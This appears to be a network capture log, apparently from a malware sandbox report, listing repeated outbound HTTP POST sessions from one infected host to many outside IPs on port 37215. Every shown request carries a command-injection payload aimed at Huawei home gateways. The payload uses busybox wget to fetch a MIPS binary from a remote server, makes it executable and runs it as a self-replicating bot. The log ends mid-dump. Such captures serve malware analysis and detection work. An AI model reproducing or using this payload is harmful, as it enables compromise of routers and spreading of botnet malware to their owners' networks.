Oct 14, 2024 17:30:17.945681095 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	54166	197.222.41.248	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945681095 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	36518	41.64.140.129	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945729017 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	58102	197.57.223.235	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945770979 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	51466	156.63.21.60	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945777893 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	49026	197.216.214.188	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945777893 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	49536	197.125.93.18	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945816040 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	60022	41.253.220.220	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945835114 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	55852	197.45.197.136	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945867062 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	52162	156.237.157.167	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945879936 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	49022	41.66.213.135	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:17.945941925 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 